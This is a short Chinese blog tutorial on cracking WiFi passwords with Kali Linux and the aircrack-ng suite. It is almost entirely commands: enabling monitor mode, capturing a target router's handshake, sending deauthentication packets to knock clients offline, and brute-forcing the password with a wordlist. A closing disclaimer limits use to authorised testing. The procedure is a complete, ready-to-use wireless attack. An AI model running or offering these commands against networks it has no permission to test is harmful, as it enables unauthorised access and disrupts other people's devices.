kali系统破解wifi密码

本文最后更新于 2025年7月11日 下午

1、设置无线网卡

1
2
3
4
5
6
7
8
9
10
11
# 查看无线网卡信息
iwconfig

# 结束可能影响监听模式的进程(如NetworkManager等)
airmon-ng check kill

# 启用监听模式,网卡名通常从 wlan0 变成 wlan0mon
airmon-ng start wlan0

# 扫描周围WiFi热点
airodump-ng wlan0mon

扫描WiFi热点


2、抓取数据包

用 airodump-ng 针对目标WiFi抓包,捕获握手包。

1
2
# -c 信道号, --bssid 目标路由器MAC, -w 保存文件名前缀
airodump-ng wlan0mon -c 8 --bssid D4:**:**:**:**:E0 -w test

抓包界面


3、WiFi攻击(断开连接)

用 aireplay-ng 发送断开请求,强制目标设备重新连接,方便抓握手包。

1
2
3
4
5
6
# 参数说明:
# -0 攻击次数,0 表示无限循环
# -a 目标AP的BSSID
# -c 目标客户端设备MAC,指定单个设备;不指定则攻击所有已连接设备

aireplay-ng -0 10 -a D4:**:**:**:**:E0 -c 30:**:**:**:**:23 wlan0mon

断开连接攻击


4、爆破WiFi密码

使用 aircrack-ng 和密码字典,尝试破解抓到的握手包。

1
2
3
4
# -w 指定密码字典路径
# test.cap 是抓到的握手包文件名

aircrack-ng -w password.txt test.cap

爆破结果


⚠️ 法律与道德提示

  • 请勿攻击未授权的WiFi网络,破解他人网络密码可能触犯法律。
  • 该教程仅供安全研究和个人合法测试使用。
  • 推荐在自己拥有的设备和网络环境下实践学习。